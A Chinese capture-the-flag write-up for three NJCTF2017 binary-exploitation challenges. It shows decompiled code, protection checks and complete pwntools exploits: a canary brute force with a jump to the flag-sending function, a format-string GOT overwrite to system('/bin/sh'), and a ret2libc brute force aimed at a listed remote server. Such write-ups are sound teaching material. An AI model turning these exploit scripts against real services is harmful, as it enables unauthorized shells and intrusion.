NJCTF2017

NJCTF2017

题目链接如下:

链接:https://pan.baidu.com/s/1U2214K0IklnTXEQUV9XG1w
密码:mxwj

pwn-messager

题目分析

程序采用的是socket监听端口的方式来接受用户请求,每接收到一个请求都会fork一个子进程,子进程会调用函数sub_400be9

函数sub_400be9中存在明显的溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
signed __int64 sub_400BE9()
{
signed __int64 result; // rax@2
__int64 v1; // rdx@4
char s; // [sp+10h] [bp-70h]@1
__int64 v3; // [sp+78h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
printf("csfd = %d\n", (unsigned int)fd);
bzero(&s, 0x64uLL);
if ( (unsigned int)recv(fd, &s, 0x400uLL, 0) == -1 )
{
perror("recv");
result = 0xFFFFFFFFLL;
}
else
{
printf("Message come: %s", &s);
fflush(stdout);
result = 0LL;
}
v1 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
}

利用思路

查看程序开启了哪些保护,开启了Cannary和NX:

1
2
3
4
5
6
7
root@0a07932a245e:/home/em/ctf/njctf/messager# checksec messager 
[*] '/home/em/ctf/njctf/messager/messager'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启了Canary,要利用这个栈溢出就需要知道Canary的值,Canary的值要么通过泄露、要么通过爆破的方式来获取,这里可以通过爆破的方式。因为fork出的子进程的栈数据和父进程是一致的,所以每次fork的进程中Canary的值都是一样的,只需要逐字节的爆破即可得到正确的Canary。

得到Canary的值后就能够控制程序的执行流程了,由于开启了NX,只能通过ROP的方式,程序的0x400bc6处将读取到的flag发送出去:

只需要控制程序流程让其执行该函数即可。

过程记录

1
2
3
4
5
6
7
8
9
10
11
12
13
第一次调试,canary的值:
RAX 0x62e3d26fa6bada00
RBX 0x0
RCX 0x7f7fd9fd8207 (alarm+7) ◂— cmp rax, -0xfff
RDX 0x0
RDI 0x3

第二次调试,canary的值:
RAX 0x62e3d26fa6bada00
RBX 0x0
RCX 0x7f7fd9fd8207 (alarm+7) ◂— cmp rax, -0xfff
RDX 0x0
RDI 0x3

从调试过程中发现cannry的值一直没有发生变化,因为canary的值是从内存中的某个地址取出来的,而子进程是通过fork的方式来产生的,因此canary的值始终是相等的,这就导致可以逐字节的覆盖canary的值,通过判定程序有没有崩溃来确定覆盖的字节值是否是正确的。

漏洞利用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context(arch='amd64', os='linux', endian='little')
# context.log_level='debug'

# gdb.attach(proc.pidof('messager')[0])
canary=''
def get_canary():
global canary
for i in range(0,8):
for j in range(0,255):
p = remote('127.0.0.1',5555)
temp = chr(j)
p.recvuntil('Welcome!\n')
payload = 'a'*0x68+canary+temp
p.send(payload)
try:
data = p.recvline()
#print data
if "Message received" in data:
canary += temp
print 'canary = ' + canary.encode('hex')
# print 'ok'
except:
continue
break

canary = p64(0x62e3d26fa6bada00)
p = remote('127.0.0.1',5555)
p.recvuntil('Welcome!\n')
pop_rdi = 0x0000000000400fb3
pop_rsi_r15 = 0x0000000000400fb1

# rop_chain = 'a'*0x68+canary+p64(0xdeadbeef)+p64(pop_rdi)+p64(0x5)+p64(pop_rsi_r15)+p64(0x602160)+p64(0x0)+p64(0x400950)
payload = 'a'*0x68+canary+p64(0xdeadbeef)+p64(0x400bc6)
# p.send(rop_chain)
p.send(payload)
print p.recv()
# p.interactive()

pwn-pingme

程序分析

非常明显的格式化字符串漏洞,限制了输入字符的长度为64字节,但是这已经足够了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __cdecl __noreturn main()
{
char format; // [sp+Ch] [bp-4Ch]@2
int v1; // [sp+4Ch] [bp-Ch]@1

v1 = *MK_FP(__GS__, 20);
sub_80485D7();
puts("Ping me");
while ( 1 )
{
if ( sub_804858B(&format, 64) )
{
printf(&format);
putchar(10);
}
else
{
puts(";( ");
}
}
}

利用思路

格式化字符串的利用,首先通过格式化字符串来泄露libc基址,接着使用格式化字符串往任意地址写数据的功能来修改got表,拿到shell。

漏洞利用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(arch='i386', os='linux', endian='little')
context.log_level='debug'

p = process('./pingme')
elf = ELF('./pingme')
libc = ELF('./libc.so.6')

def overwrite(addr,value,offset):
position_1 = value&0xFFFF
position_2 = (value>>16)&0xFFFF
if position_2>position_1:
payload=p32(addr)+p32(addr+2)+'%'+str(position_1-4-4)+'x%'+str(offset)+'$hn'+'%'+str(position_2-position_1)+'x%'+str(offset+1)+'$hn'
else:
payload=p32(addr+2)+p32(addr)+'%'+str(position_2-4-4)+'x%'+str(offset)+'$hn'+'%'+str(position_1-position_2)+'x%'+str(offset+1)+'$hn'
return payload

print p.recvuntil('Ping me')
# gdb.attach(p,gdbscript='''
# b *0x8048663
# ''')
# info leak
payload = p32(elf.got['printf'])+'%7$s'+'a'*10
p.sendline(payload)
p.recvuntil(p32(elf.got['printf']))
printf_addr = u32(p.recv()[0:4])
print hex(printf_addr)
libc_base = printf_addr-libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']

# overwrite got
printf_got = elf.got['printf']
payload = overwrite(printf_got,system_addr,7)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

233

题目分析

使用IDA查看发现程序没有任何输出,main函数里面存在明显的栈溢出:

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [sp+16h] [bp-Eh]@1

read(0, &v4, 0x400u);
return atoi((const char *)&v4);
}

查看程序开启的保护措施:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

程序开启了PIE,但是又没有信息泄露的地方,这种情况下采用爆破的方式,因为程序是32位的,爆破起来难度不大:

1
2
3
4
5
6
7
8
第一次调试,libc基址:
0xF7D9E000

第二次调试,libc基址:
0xF7D9B000

第三次调试,libc基址:
0xF7D45000

漏洞利用-直接爆破

基址中开始的0xF7是不会变的,最后的0x000也是不会变的,会变的只有中间的12个bit,因此最多需要2^12即可爆破出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import time

from pwn import *
context.log_level = 'debug'
libc_base = 0xf772f000#brute

offse_sys = libc_base + 0x3fe70
offse_bsh = libc_base + 0x0015da8c

def exp():
io = remote('106.14.22.20', 23743)

payload = 'c'*0x16 + p32(offse_sys) + 'a'*4 + p32(offse_bsh)
io.sendline(payload)
sleep(2)
io.sendline('echo simp1e')
d = io.recv(timeout=1)
if 'simp1e' not in d:
io.close()
return
print '!!!!!!'
io.interact()

if __name__ == '__main__':
tt=0
while 1:
print 'tyyy:%d'%(tt)
tt += 1
try:
exp()
except:
pass